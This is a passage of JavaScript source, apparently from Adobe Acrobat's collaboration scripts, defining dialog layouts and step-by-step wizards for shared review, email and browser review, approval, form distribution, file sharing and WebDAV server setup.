    	            body = AnnotsString.IDS_SHARED_REVIEW_CLOSE_DIRTY_BODY;

    	        else

    	            body =  AnnotsString.IDS_SHARED_REVIEW_CLOSE_NONDIRTY_BODY;

 		    }

        } 

       

		var oSharedReviewIcon = Collab.getIcon("A_SendForSharedReview_Xl_N.png");



		var description = 

		{

		    bDirty: bDirty,

		    bMustClose: bMustClose,

			bEnded: bEnded,

			

			initialize: function(dialog)

			{

				dialog.load({ sico: oSharedReviewIcon });

    		    dialog.focus("publ");

			},



			dscd: function(dialog)

			{

				dialog.end("dscd");

			},



			save: function(dialog)

			{

				dialog.end("save");

			},



			publ: function(dialog)

			{

				dialog.end("publ");

			},



			cncl: function(dialog)

			{

				dialog.end("cncl");

			},

			description: 

			{

				width: Collab.wizardWidth,

				elements:

				[

					{

						type: "view",

						align_children: "align_left",

						elements:

						[

							{

								type: "view",

								align_children: "align_row",

								elements:

								[

									{

										type: "image",

										item_id: "sico",

										width: oSharedReviewIcon.width,

										height:oSharedReviewIcon.height 

									},

									{

										type: "static_text",

										wrap_name: true,

										width: Collab.wizardWidth,

										name: body

									},

								]

							},

							{

								type: "view",

								align_children: "align_distribute",

								alignment: "align_right",

								elements:

								[

									{

										type: "button",

										name: AnnotsString.IDS_SHARED_REVIEW_CLOSE_PUBLISH,

										item_id: "publ"

									},

								].concat((!bMustClose) ? [

									{

										type: "button",

										name: AnnotsString.IDS_SHARED_REVIEW_CLOSE_SAVE,

										item_id: "save"

									},

								] : []).concat((bDirty || bMustClose) ? [

									{

										type: "button",

										name: AnnotsString.IDS_SHARED_REVIEW_CLOSE_DISCARD,

										item_id: "dscd"

									},

								] : []).concat((!bMustClose) ? [

									{

										type: "button",

										name: AnnotsString.IDS_CANCEL,

										item_id: "cncl"

									},

								] : [])

							}

						]

					}

				]

			}

		};



		app.beginPriv();

		var closedWith = app.execDialog(description);

		app.endPriv();



		switch(closedWith)

		{

			default:

			case "cncl":

				result = -1;

				break;



			case "dscd":

				result = 1;

				break;



			case "save":

				result = 2;

				break;



			case "publ":

				result = 3;

				break;

		}

				

		return result;

	});



	CBCreateUploadStepDescription = function()

	{

		var description = 

		{

			initialize: function(dialog)

			{

				this.data.certWarningPopped = false;

				

				app.beginPriv();

				Collab.updateMountInfo();

				app.endPriv();

					

				if(!this.data.destURL)

				{

					app.beginPriv();

					var lastURL = Collab.lastBBRURL;

					app.endPriv();

					

					if(lastURL)

						this.data.destURL = lastURL.replace(/\/[^\/]*\.pdf$/, "/");

					else

						this.data.destURL = "";

				}

				dialog.load({dest: this.data.destURL});

				dialog.focus("dest");

			},

			fixURL: function(url)

			{

				if(url.match(/^\\\\/)) // really a windows network path

				{

					// trailing slash? add a file name

					url = url.replace(/\\\.?$/, "\\" + this.data.doc.documentFileName);

					url = "file:///" + url.replace(/\\/g, "/");

				}

				else

					// trailing slash? add a file name

					url = url.replace(/\/\.?$/, "/" + this.data.doc.documentFileName);

				

				// no .pdf ending? add it

				if(!url.match(/\.pdf$/i))

				{

					if(url.match(/\.$/))

						url += "pdf";

					else

						url += ".pdf";

				}

					

				return url;

			},

			URLToDiPath: function(url)

			{

				if(url.match(/^\\\\/)) // really a windows network path

					url = url.replace(/\\/g, "/").replace(/^\/\//, "/");

				else

				{

					url = url.replace(/^file:\/\/localhost\//, "/");

					url = url.replace(/^file:\/\/\//, "/");

					url = url.replace(/^file:\/\//, "/");

					url = url.replace(/^\/([^\/]+)\|\//, "/$1/");

				}

				return unescape(url);				

			},

			URLPartialOk: function(dest)

			{

				switch(app.platform)

				{

					case "MAC": 

						return dest.match(/^(?:http[s]?:\/\/)|(?:file:\/\/).+\/.*$/);

					case "WIN":

						return dest.match(/^(?:http[s]?:\/\/.+\/.*$)|(?:file:\/\/.+\/.*$)|(?:\\\\[^\\]+\\.*$)/);

					default:

						return dest.match(/^(?:http[s]?:\/\/)|(?:file:\/\/\/).+\/.*$/);

				}	

			},

			commit: function(dialog, next)

			{

				var url = dialog.store()["dest"];

				

				this.data.destURL = url;

				

				if(next)

				{

					this.data.fixedDestURL = this.fixURL(url);

					

					if(!this.data.fixedDestURL.match(/^http[s]?\:/))

					{

						app.beginPriv();

						if(app.alert(AnnotsString.IDS_SAVE_INACCESSIBLE_WARNING_BBREVIEW.replace(/\{location\}/, this.data.fixedDestURL), 2, 2) != 4)

							DebugThrow ("BBR loc upload location bad");

						app.endPriv();

					}

					

					try

					{

						app.beginPriv();

						if(this.data.fixedDestURL.match(/^http/))

							this.data.doc.saveAs({bCopy: true, cFS: fileSystem.WebDAV, cPath: this.data.fixedDestURL, bPromptToOverwrite: true});

						else

							this.data.doc.saveAs({bCopy: true, cPath: this.URLToDiPath(this.data.fixedDestURL), bPromptToOverwrite: true});

						Collab.lastBBRURL = this.data.fixedDestURL;

						app.endPriv();

					}

					catch(e)

					{

						if(e.number != 11 /* NotAllowedError */)

							app.alert(AnnotsString.IDS_UPLOAD_FOR_BBR_FILE_UPLOAD_FAILED.replace(/%url%/, this.data.fixedDestURL));

						throw (e);

					}

					app.beginPriv();

					var utf8URL = Collab.uriEncode(Collab.stringToUTF8(this.data.fixedDestURL));

					app.launchURL(utf8URL);

					app.endPriv();

				}



				if(this.data.doc && this.data.doc.hidden)

				{

					this.data.doc.closeDoc(true);

					this.data.doc = null;

				}

			},

			idle: function(dialog)

			{

				// XXX this stinks

				if(this.data.doc && this.data.doc.certified && !this.data.certWarningPopped)

				{

					this.data.certWarningPopped = true;

					app.alert({cMsg: AnnotsString.IDS_BROWSER_REVIEW_UPLOAD_STEP_DOC_IS_CERTIFIED});

				}

				

				var dlgStore = dialog.store();

				var dest = dlgStore["dest"];

				var partialOKURL = this.URLPartialOk(dest);



				if(this.data.doc != null)

				{

					var dtpvVal = partialOKURL ?

						AnnotsString.IDS_UPLOAD_FOR_BBR_DEST.replace(/%url%/, this.fixURL(dest)) :

						AnnotsString.IDS_UPLOAD_FOR_BBR_NO_DEST;

					

					if(dlgStore["dtpv"] != dtpvVal)

						dialog.load({dtpv: dtpvVal });

					

					app.beginPriv();

					var bStoreOk = Collab.defaultStore != "" && Collab.defaultStore != "NONE" &&

						(Collab.getStoreNoSettings(Collab.defaultStore) || Collab.getStoreSettings(Collab.defaultStore));

					app.endPriv();

					

					dialog.enable({next:

						(!this.data.doc.certified &&

						partialOKURL &&

						bStoreOk) ? true : false

						});

				}

			},

			brws: function(dialog)

			{

				app.beginPriv()

				var path = app.browseForDoc({bSave: true, cFSInit: fileSystem.WebDAV, cFilenameInit: this.data.doc.documentFileName});

				app.endPriv();

				

				if(path)

				{

					app.beginPriv();

					var normUrl = Collab.uriEncode(path.cURL);

					app.endPriv();

					if (normUrl.substring(0, 4) == "smb:")

                    {

                        if (app.platform == "WIN")

                            normUrl = "file:///" + normUrl.substring(4);

                        else

                            normUrl = "file:/" + normUrl.substring(4);

                    }

					this.data.destURL = normUrl;

					dialog.load({dest: this.data.destURL});

				}

			},

			cnfg: function(dialog)

			{

				CBAutoConfigCommentRepository();

			},

			description: [

				{

					type: "view",

					alignment: "align_fill",

					align_children: "align_row",

					elements:

					[

						{

							type: "edit_text",

							alignment: "align_fill",

							item_id: "dest"

						},

						{

							type: "button",

							name: AnnotsString.IDS_BROWSE,

							item_id: "brws"

						}

					]

				},

				{

					type: "static_text",

					alignment: "align_fill",

					truncate: "truncate_middle",

					item_id: "dtpv"

				},

				{

					type: "button",

					name: AnnotsString.IDS_BROWSER_REVIEW_UPLOAD_STEP_AUTO_CONFIG,

					item_id: "cnfg"

				}

			]

		};



		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.endPriv();

		

		return description;

	}

	

	function CBRunEmailReviewWizard(data, startStep)

	{

		data.reviewType = "EBR";

		data.readerEnable = (app.viewerType != "Exchange")		



		// simply an array of steps

		var wiz = CBTrustPropagateWiz({

			finishString: AnnotsString.IDS_EMAIL_REVIEW_WIZ_FINISH,

			title: AnnotsString.IDS_EMAIL_REVIEW_WIZ_TITLE,

			steps:

			[

				{

					creator: function(data) { return CBCreateGettingStartedStepDescription("EBR", true); },

					heading: AnnotsString.IDS_EMAIL_REVIEW_GETTING_STARTED_STEP_HEADING,

					title: AnnotsString.IDS_EMAIL_REVIEW_GETTING_STARTED_STEP_TITLE,

					text: (app.viewerType == "Exchange-Pro") ? AnnotsString.IDS_EMAIL_REVIEW_GETTING_STARTED_STEP_PRO_TEXT : AnnotsString.IDS_EMAIL_REVIEW_GETTING_STARTED_STEP_STD_TEXT,

					tip: null

				},

				{

					creator: function(data) { return CBCreateInviteStepDescription("", false, (app.viewerType == "Exchange-Pro") ? true : false, true); },

					heading: AnnotsString.IDS_EMAIL_REVIEW_INVITE_STEP_HEADING,

					title: AnnotsString.IDS_EMAIL_REVIEW_INVITE_STEP_TITLE,

					text: AnnotsString.IDS_EMAIL_REVIEW_INVITE_STEP_TEXT

				},

				{

					creator: function(data) { return CBCreateSendInvitationStepDescription(AnnotsString.IDS_EMAIL_REVIEW_SEND_INVITE_STEP_MESSAGE_HEADING, false); },

					heading: AnnotsString.IDS_EMAIL_REVIEW_SEND_INVITE_STEP_HEADING,

					title: AnnotsString.IDS_EMAIL_REVIEW_SEND_INVITE_STEP_TITLE,

					text: AnnotsString.IDS_EMAIL_REVIEW_SEND_INVITE_STEP_TEXT,

					tip: null

				}

			]

		});

		

		return CBRunSimpleWiz(wiz, startStep, -1, data);

	}

	

	function CBRunEmailApprovalWizard(data, startStep, bShowInitiatorEmail, bShowReaderEnable, bCanReaderEnable)

	{

		data.cannedSubj = AnnotsString.IDS_INVITE_APPROVAL_DEFAULT_SUBJECT;

		if(data.readerEnable)

			data.cannedMsg = AnnotsString.IDS_SEND_FOR_APPROVAL_MESG_CONTINUE_UB;

		else data.cannedMsg = AnnotsString.IDS_SEND_FOR_APPROVAL_MESG_CONTINUE_NOUB;

		data.reviewType = "APP";



		// simply an array of steps

		// if showCC is on, turn it off if there is no return address

		if (bShowInitiatorEmail && !(data.raddr && (data.raddr.length > 0)))

			bShowInitiatorEmail = false;

					

		var wiz = CBTrustPropagateWiz({

			finishString: AnnotsString.IDS_EMAIL_APPROVAL_WIZ_FINISH,

			title: AnnotsString.IDS_EMAIL_APPROVAL_WIZ_TITLE,

			steps:

			[

				{

					creator: function(data) { return CBCreateGettingStartedStepDescription("APP", true); },

					heading: AnnotsString.IDS_EMAIL_APPROVAL_GETTING_STARTED_STEP_HEADING,

					title: AnnotsString.IDS_EMAIL_APPROVAL_GETTING_STARTED_STEP_TITLE,

					text: app.viewerType.match(/Exchange-Pro/) ? AnnotsString.IDS_EMAIL_APPROVAL_GETTING_STARTED_STEP_PRO_TEXT : AnnotsString.IDS_EMAIL_APPROVAL_GETTING_STARTED_STEP_STD_TEXT,

					tip: null

				},

				{

					creator: function(data) { return CBCreateInviteStepDescriptionApproval(AnnotsString.IDS_EMAIL_APPROVAL_INVITE_STEP_CLUSTER_TITLE, false, bShowInitiatorEmail, bShowReaderEnable, bCanReaderEnable); },

					heading: AnnotsString.IDS_EMAIL_APPROVAL_INVITE_STEP_HEADING,

					title: AnnotsString.IDS_EMAIL_APPROVAL_INVITE_STEP_TITLE,

					text: AnnotsString.IDS_EMAIL_APPROVAL_INVITE_STEP_TEXT,

					tip: AnnotsString.IDS_EMAIL_APPROVAL_INVITE_STEP_TIP

				},

				{

					creator: function(data) { return CBCreateSendInvitationStepDescription(AnnotsString.IDS_EMAIL_APPROVAL_INVITE_STEP_MESSAGE_HEADING, false); },

					heading: AnnotsString.IDS_EMAIL_APPROVAL_SEND_INVITE_STEP_HEADING,

					title: AnnotsString.IDS_EMAIL_APPROVAL_SEND_INVITE_STEP_TITLE,

					text: AnnotsString.IDS_EMAIL_APPROVAL_SEND_INVITE_STEP_TEXT,

					tip: null

				}

			]

		});

		

		return CBRunSimpleWiz(wiz, startStep, -1, data);

	}

	

	function CBRunBBRReviewWizard(data, startStep, endStep)

	{

		data.reviewType = "BBR";



		// simply an array of steps

		var wiz = CBTrustPropagateWiz({

			finishString: startStep == 0 ? AnnotsString.IDS_NEXT : AnnotsString.IDS_BROWSER_REVIEW_WIZ_FINISH,

			title: AnnotsString.IDS_BROWSER_REVIEW_WIZ_TITLE,

			steps:

			[

				{

					creator: function(data) { return CBCreateGettingStartedStepDescription("BBR", false); },

					heading: AnnotsString.IDS_BROWSER_REVIEW_GETTING_STARTED_STEP_HEADING,

					title: AnnotsString.IDS_BROWSER_REVIEW_GETTING_STARTED_STEP_TITLE,

					text: AnnotsString.IDS_BROWSER_REVIEW_GETTING_STARTED_STEP_TEXT,

					tip: null

				},

				{

					creator: function(data) { return CBCreateUploadStepDescription(); },

					heading: AnnotsString.IDS_BROWSER_REVIEW_UPLOAD_STEP_HEADING,

					title: AnnotsString.IDS_BROWSER_REVIEW_UPLOAD_STEP_TITLE,

					text: AnnotsString.IDS_BROWSER_REVIEW_UPLOAD_STEP_TEXT,

					tip: AnnotsString.IDS_BROWSER_REVIEW_UPLOAD_STEP_TIP

				},

				{

					creator: function(data) { return CBCreateInviteStepDescription("", true, false, false); },

					heading: AnnotsString.IDS_BROWSER_REVIEW_INVITE_STEP_HEADING,

					title: AnnotsString.IDS_BROWSER_REVIEW_INVITE_STEP_TITLE,

					text: AnnotsString.IDS_BROWSER_REVIEW_INVITE_STEP_TEXT

				},

				{

					creator: function(data) { return CBCreateSendInvitationStepDescription(AnnotsString.IDS_BROWSER_REVIEW_INVITE_STEP_MESSAGE_HEADING, true); },

					heading: AnnotsString.IDS_BROWSER_REVIEW_SEND_INVITE_STEP_HEADING,

					title: AnnotsString.IDS_BROWSER_REVIEW_SEND_INVITE_STEP_TITLE,

					text: AnnotsString.IDS_BROWSER_REVIEW_SEND_INVITE_STEP_TEXT,

					tip: null

				}

			]

		});

		

		return CBRunSimpleWiz(wiz, startStep, endStep, data);

	}



	// function to get the alwaysUseServer value and also validate for acrobat.com

	getAlwaysUseServerValue = function(reviewType)

	{

		app.beginPriv();

		var alwaysUseServer = Collab.getAlwaysUseServer(reviewType);

		app.endPriv();

    			

		// The first check i.e. < alwaysUseServer.UI == SharedString("IDS_SHARED_REVIEW_SERVER_DOC_CENTER_DETAIL"+WT) >

		// checks whether the choice in 'remember my choice' was 'acrobat.com'. If so, the further check i.e. 

		// < Collab.isDocCtrInitAvailable > checks whether 'acrobat.com' is available or not(maybe blocked by tuner).

		// If not, we consider it to be the same as not defined and we do not go into the if.

	    if (alwaysUseServer != undefined &&

			( alwaysUseServer.UI == SharedString("IDS_SHARED_REVIEW_SERVER_DOC_CENTER_DETAIL"+WT) ) && !Collab.isDocCtrInitAvailable)

		        alwaysUseServer = undefined;

		return alwaysUseServer;

	}

	

	function CBRunSharedReviewWizard(data, startStep)

	{

		data.reviewType = "SharedReview";

		data.WT = "_SR";

		WT = "_SR";

		data.DT = "_REVIEW";

		DT = "_REVIEW";

		data.ST = "_YOU_MAY";

		ST = "_YOU_MAY";

		data.UseDocumentCenter = false;

		if (data.readerEnable)

		{

			data.UB = "_UB";

			UB = "_UB";

		}

		else

		{

			data.UB = "_NOUB";

			UB = "_NOUB";

		}

		

		data.cannedSubj = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_INVITE_SUBJ_SR;

		data.cannedMsg = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_INVITE_ATTACHED_EMAIL;

		data.docAlreadyOpened = false;

		data.delayOpenDoc = false;



		// simply an array of steps

		var wiz = CBTrustPropagateWiz({

			finishString: AnnotsString.IDS_FINISH,

			title: AnnotsString.IDS_SHARED_REVIEW_WIZ_TITLE,

			stepFilter: function(data, stepNum)

			{

				return (data.distributionMethod == "MANUAL" && stepNum == 3);

			},



			//steps: OldSRIWsteps,

			steps: IWSteps,

		});

		

		while(1)

		{

		    if (startStep == 0)

		    {

		        if(!data.docPath || !data.doc || data.doc.isInCollection || data.delayOpenDoc == true)

		        {

		            data.delayOpenDoc = true;

 		            CBRunSimpleWizNew(wiz, startStep, -1, data);

			        if(data.result != "ddoc")

			            return;

			        //Coming here means user has not pressed cancel and data.docPath is now valid 

		        }

			    if (data.docPath)

			    {

			        if(data.delayOpenDoc != true)

				        data.docAlreadyOpened = true;

				    else

				        data.docAlreadyOpened = false;    

				    data.checkSize = false;

				    DebugPrintln("File already opened, so use it for shared review :). data.docPath = " + data.docPath);

    				

				    try

				    {

    				    IWBrowseDocStepCommitWork(data);			

					    startStep = 1;

				    }

				    catch(e)

				    {

				        startStep = 0;

				        data.delayOpenDoc = true;

				    }			

			    }

		    }		

		    else if(startStep == 1)

		     {

		        data.delayOpenDoc = true;					

			    //if there is an existing AlwaysUseServer,

			    // Get the server

				var alwaysUseServer = getAlwaysUseServerValue(data.reviewType);

			    			

    			if (alwaysUseServer != undefined)

			    {

					// Do the IWDistributionServer init stuff

				    //The cDocumentName and cDocumentPath are used later, but can be updated at this step, so do it.				

				    var oldName = data.doc.documentFileName;

				    var oldPath = data.doc.path;

				    var newPath = oldPath.substring(0, oldPath.lastIndexOf('/') + 1);

				    data.cDocumentName = oldName.replace(/.pdf$/i, "") + SharedString("IDS_SHARED_REVIEW_FILE_EXT" + WT);;

				    data.cDocumentPath = newPath + data.cDocumentName;



				    data.server = alwaysUseServer;

				    data.addInternalServer = false;

    				

				    if (data.server.UI == SharedString("IDS_SHARED_REVIEW_SERVER_DOC_CENTER_DETAIL"+WT))

					    data.UseDocumentCenter = true;

				    else 

					    data.UseDocumentCenter = false;							



				    var startStepName = "";

				    if (data.UseDocumentCenter)

				    {

					    DebugAlert("start shared review\nskip browsdoc step\nuse dc\ndone dist server commit work\nnow checking if silent is possible or not");

					    //check if we can log-in using an existing credential store. 

					    if (!SilentDocCenterLogin(data, {bShowProgressMonitor:true, cDriver:"urn://ns.adobe.com/Collaboration/SharedReview/Acrobat.com"}))

					    {

						    DebugAlert("Silent login: unsuccessful");

						    //we need to show the login step

						    startStepName = "IWSharedReviewDocCenterLogin";

					    }

					    else

                        {

                            DebugAlert("Silent login : successful");

						    //silent login done, show email step

						    DistributionServerStepCommitWork(data);

						    startStepName = "IWEmailStepDescription";

					    }

				    }

				    else

				    {

					    if(ANValidateIdentity() == false)

						    startStepName = "IWIdentityDialog";

					    else

					    {

						    //the user chose a legacy server, so jump to email step.

						    DistributionServerStepCommitWork(data);

						    startStepName = "IWEmailStepDescription";

					    }

				    }

				    startStep = GetStepNum(startStepName, data.reviewType)

			    }

				CBRunSimpleWizNew(wiz, startStep, -1, data);

			    if(data.result != "ddoc")

			         return;

			    else if (data.docPath)

			    {

			        if(data.delayOpenDoc != true)

				        data.docAlreadyOpened = true;

				    else

				        data.docAlreadyOpened = false;

				    data.checkSize = false;

				    DebugPrintln("File already opened, so use it for shared review :). data.docPath = " + data.docPath);

    				

				    try

				    {

    				    IWBrowseDocStepCommitWork(data);			

					    startStep = 1;

				    }

				    catch(e)

				    {

				        startStep = 0;

				        data.delayOpenDoc = true;

				    }			

			    } 		

		    }

		}

		return ;

	}



	function CBRunFormDistributionWizard(data, startStep)

	{

		//DebugAlert("CBFormDistributionWizard");

		data.reviewType = "FormDistribution";

		data.WT = "_FD";

		WT = "_FD";

		data.DT = "_FORMS";

		DT = "_FORMS";

		data.ST = "_HOST_FORMS";

		ST = "_HOST_FORMS";

		data.UseDocumentCenter = false;

		//This is specifically to toggle between strings in the shared review wizard. 

		//UB or NOUB does not affect the forms wizard but if later we need to have different strings then this can be used. 

		data.UB = "";

		UB = "";



		data.cannedSubj = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_INVITE_SUBJ_FD;

		data.cannedMsg = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_INVITE_DC_EMAIL_FD;

		data.docAlreadyOpened = false;

		data.delayOpenDoc = false;



		// simply an array of steps

		var wiz = CBTrustPropagateWiz({

			finishString: AnnotsString.IDS_FINISH,

			title: AnnotsString.IDS_SHARED_REVIEW_WIZ_TITLE,

			stepFilter: function(data, stepNum)

			{

				return (data.distributionMethod == "MANUAL" && stepNum == 3);

			},

			steps: IWFDSteps,

		});

		

		// in the case where the FDI is invoked from tracker we need to show the browse doc step even if the doc is open

		while(1)

		{

		    if (startStep == 0)

		    {

			    app.beginPriv();

			    var doc = Collab.GetActiveDocIW();

			    app.endPriv();

    		

			    if(doc && doc.path && data.selectFile != true)

			    {

				    data.docPath = doc.path;

				    data.doc = doc;

			    }

			    if(!data.docPath || data.delayOpenDoc == true)

			    {

			        data.delayOpenDoc = true;

			        CBRunSimpleWizNew(wiz, startStep, -1, data);			    

			        if(data.result != "ddoc")

			            return;

			        //Coming here means user has not pressed cancel and data.docPath is now valid

			    }  

			    if (data.docPath)

			    {

			        if(data.delayOpenDoc != true)

				        data.docAlreadyOpened = true;

				    else

				        data.docAlreadyOpened = false;    

				    data.checkSize = false;

				    DebugPrintln("File already opened, so use it for shared review :). data.docPath = " + data.docPath);

    				

				    try

				    {

    				    IWBrowseDocStepCommitWork(data);			

					    startStep = 1;

				    }

				    catch(e)

				    {

						if(e == "halt")

						{

							return ;

						}

						else

						{

					        startStep = 0;

					        data.delayOpenDoc = true;

						}

				    }

			    }

		    }

		    else if(startStep == 1)

		    {

		        data.delayOpenDoc = true;

			    //if there is an existing AlwaysUseServer,

			    // Get the server

			    var alwaysUseServer = getAlwaysUseServerValue(data.reviewType);

			    

			    if (alwaysUseServer != undefined)

			    {

				    // Do the IWDistributionServer init stuff

				    //The cDocumentName and cDocumentPath are used later, but can be updated at this step, so do it.				

				    var oldName = data.doc.documentFileName;

				    var oldPath = data.doc.path;

				    var newPath = oldPath.substring(0, oldPath.lastIndexOf('/') + 1);

				    data.cDocumentName = oldName.replace(/.pdf$/i, "") + SharedString("IDS_SHARED_REVIEW_FILE_EXT" + WT) + ".pdf";

				    data.cDocumentPath = newPath + data.cDocumentName;



				    data.server = alwaysUseServer;

				    data.addInternalServer = false;

    				

				    if (data.server.UI == SharedString("IDS_SHARED_REVIEW_SERVER_DOC_CENTER_DETAIL"+WT))

					    data.UseDocumentCenter = true;

				    else 

					    data.UseDocumentCenter = false;	

    				

				    var startStepName = "";

				    if (data.UseDocumentCenter)

				    {

					    DebugAlert("start shared review\nskip browsdoc step\nuse dc\ndone dist server commit work\nnow checking if silent is possible or not");

					    //check if we can log-in using an existing credential store. 

					    if (!SilentDocCenterLogin(data, {bShowProgressMonitor:true, cDriver:"urn://ns.adobe.com/Collaboration/Forms/Acrobat.com"}))

					    {

						    DebugAlert("Silent login: unsuccessful");

						    //we need to show the login step

						    startStepName = "IWSharedReviewDocCenterLogin";

					    }

					    else

					    {

						    DebugAlert("Silent login : successful");

						    //silent login done, show email step

						    DistributionServerStepCommitWork(data);

						    startStepName = "IWEmailStepDescription";

					    }

				    }

				    else

				    {

					    //the user chose a legacy server, so jump to email step.

					    if(ANValidateIdentity() == false)

						    startStepName = "IWIdentityDialog";

						 else if(data.server.UI == AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_EMAIL)

						{

							DistributionServerStepCommitWork(data);

							startStepName = "IWDistributeStepDescription";

						}

						else if(data.server.UI == SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ADD_INTERNAL_SERVER" + WT))

						{

							DistributionServerStepCommitWork(data);

							startStepName = "IWNewInternalServer";

						}

					    else

					    {

						    DistributionServerStepCommitWork(data);

						    startStepName = "IWEmailStepDescription";

					    }

				    }

				    startStep = GetStepNum(startStepName, data.reviewType);

			    }

			   CBRunSimpleWizNew(wiz, startStep, -1, data);

			   if(data.result != "ddoc")

			        return; 

			   else if (data.docPath)

			   {

			        if(data.delayOpenDoc != true)

				        data.docAlreadyOpened = true;

				    else

				        data.docAlreadyOpened = false;    

				    data.checkSize = false;

				    DebugPrintln("File already opened, so use it for shared review :). data.docPath = " + data.docPath);

    				

				    try

				    {

    				    IWBrowseDocStepCommitWork(data);			

					    startStep = 1;

				    }

				    catch(e)

				    {

						if(e == "halt")

						{

							return ;						

						}

						else

						{

					        startStep = 0;

					        data.delayOpenDoc = true;

						}

				    }

			    } 	

			    	

		    }

		}	

		

		return ;

	}

	

	function CBRunShareFileWizard(data, startStep)

	{

		data.reviewType = "ShareFile";

		data.UseDocumentCenter = true;

		data.distributionMethod = "UPLOAD";

		

		if (data.type == 0)

		{

			data.WT = "_SF";

			WT = "_SF";

		}

		else //(data.type == 1)

		{

			data.WT = "_UF";

			WT = "_UF";

		}

		

		var start = startStep;

		

		var wiz = CBTrustPropagateWiz({

			finishString: AnnotsString.IDS_FINISH,

			title: "Share File",

			steps: (data.type == 0) ? ShareFileSteps : UploadFileSteps,

		});

		

		if (!SilentDocCenterLogin(data, {bShowProgressMonitor:true, cDriver:"urn://ns.adobe.com/Collaboration/FileSharing/Acrobat.com"}))

			start = GetStepNum("IWSharedReviewDocCenterLogin", data.reviewType);

		else

			start = GetStepNum("IWBrowseAnyDoc", data.reviewType);

			

		return CBRunSimpleWizNew(wiz, start, -1, data);

	}





    // This function takes a URL whose path is not URL-encoded and returns

    // a URL with a URL-encoded path. Also, the caller can pass an optional

    // flag, bEnsureTrailingSlash, that controls whether to append a

    // trailing slash to the URL if none exists.

    // NOTE: the scheme, host and port of the original URL are not changed.

    function CBEncodeURL(url, bEnsureTrailingSlash)

    {

        if (url.length > 0)

        {

	        var crackedURL = util.crackURL(url);

	        var pathIndex = url.lastIndexOf(crackedURL.cPath);

	        if (pathIndex >= 0)

	        {

	            url = url.substr(0, pathIndex) + escape(crackedURL.cPath);

	            if (bEnsureTrailingSlash && url.substr(-1) != "/")

	                url += "/";

	        }

	    }

	    

	    return url;

    }

    

	const SharedReviewDocCenterInitiator=

	{

		canInitiateWorkflow: function(cWorkflow)

		{

			return cWorkflow == "SharedReview" || cWorkflow == "FormDistribution";

		},



		isDocCenterWorkflow: function()

		{

			return true;

		},

		

		oTaskSet:

		{

			// TaskSet metadata

			cTitle: AnnotsString.IDS_SHARED_REVIEW_CREATE_WORKSPACE,



			// Enumeration

			onBeginEnumeration: function(){},

			onEndEnumeration: function(){},

			onEnumerateFile: function(resource) {},

			onEnumerateCollection: function(resource) {},



			// Create Collection

			onCreateCollection: function(code)

			{

				this.cxt.handleSuccess();

			},



			onPutFile: function(code)

			{

				this.cxt.handleSuccess();

			},



			onError: function(e)

			{

				this.cxt.handleFailure(e);

			},



			aTasks:

			[

				{

					

					runTask: function(cxt, taskData)

					{

						//TODO: dikumar: this task is not required. Remove when confimed.

						//This is presently doing nothing

						taskData.cxt = cxt;



						var cURL = taskData.data.cSetting;

                        cxt.handleSuccess();

					},



					onSuccess: function(cxt, taskData)

					{

						cxt.setTaskStatus(AnnotsString.IDS_DONE);

					},



					onFailure: function(cxt, taskData) {},

				},

			],



			data: {},

		},

		getWorkspaceCreator: function(reviewID, config)

		{

			// Set up the workspace based on the configuration



			// TODO: due to an as yet not-fully-understood JavaScript nuance

			//		 the following line of code does not work:

			this.oTaskSet.data = config;

			

			// TODO (cont'd): instead we must iterate over the properties in config and

			//				  assign them explicity to the data object, like so:

			for (var i in config)

			{

				this.oTaskSet.data[i] = config[i];

			}



			this.oTaskSet.reviewID = reviewID;

			return ANTrustPropagateAll(this.oTaskSet);

		}

	}



	const SharedReviewWebDAVInitiator= 

	{

		getInitiateName: function() 

		{ 

			return AnnotsString.IDS_SHARED_REVIEW_WEBDAV_NAME; 

		},



		getInitiateDefaultName: function() 

		{ 

			return AnnotsString.IDS_SHARED_REVIEW_WEBDAV_DEFAULT_NAME; 

		},



		getInitiateAddServer: function() 

		{ 

			return AnnotsString.IDS_SHARED_REVIEW_WEBDAV_ADD_SERVER; 

		},



		getInitiateDescription: function() 

		{ 

			return AnnotsString.IDS_SHARED_REVIEW_WEBDAV_DESCRIPTION; 

		},

		canInitiateWorkflow: function(cWorkflow)

		{

			return cWorkflow == "SharedReview";

		},



		getWorkflowInitiatorConfig: function()

		{

			var result = 

			{

				oConfig: 

				{

					cSetting: "",

					bUseWindowsIntegratedAuthentication: false,

				},



				oDialog: null,

				cVerifyURL: null,       // URL to be verified

				cVerifiedURL: null,      // URL that was verified

				oAuth: {},



				getSetting: function() { return this.oConfig; },



				initialize: function(dialog, next)

				{

					this.oDialog = dialog;

					if (this.data.oSavedWebDavState)

					{

					    this.setURL(dialog, this.data.oSavedWebDavState.cURL);

					    dialog.load({"task": this.data.oSavedWebDavState.cStatus, "ntlm": this.data.oSavedWebDavState.bUseWindowsIntegratedAuthentication});

					    this.cVerifiedURL = this.data.oSavedWebDavState.cVerifiedURL;

					}

					else

					{

    					this.setStatus(AnnotsString.IDS_SHARED_REVIEW_NETWORK_ACCESS_UNKNOWN);

					}



					dialog.focus("surl");

				},



				setStatus: function(t)

				{

					var task = AnnotsString.IDS_SHARED_REVIEW_STATUS_TEMPLATE;

					this.oDialog.load({ "task": task.replace(/{cStatus}/, t) });

					this.oDialog.resize("task");

				},



				setURL: function(dialog, url)

				{

					dialog.load({ "surl": url });

				},



				commit: function(dialog, next)

				{

					var props = dialog.store();

					if(next)

					{

					    var url = props["surl"];

					    if (url != this.cVerifiedURL)

					    {

							this.bDoCommit = true;

							this.cVerifyURL = url;

							this.vrfy(dialog);

							DebugThrow ("URL requires verification");

						}

    					

				        this.oConfig.cSetting = url;

					}

					else

					{

					    this.data.oSavedWebDavState = 

						{

							cURL: props["surl"],

							cVerifiedURL: this.cVerifiedURL,

							cStatus: props["task"],

							//bUseWindowsIntegratedAuthentication: props["ntlm"],

						};

					}

				},



				idle: function(dialog)

				{

					var url = dialog.store().surl;

					var bEnabled = url.match(/^http[s]?\:\/\/.+\//) != null;

					dialog.enable({next: bEnabled, vrfy: bEnabled});

				},



				aStates: ["writeable", "enumerable", "removeable"],

				nState: 0,

				cFileURL: null,

				oFileURL: null,

				bFoundFile: false,

				bDoCommit: false,



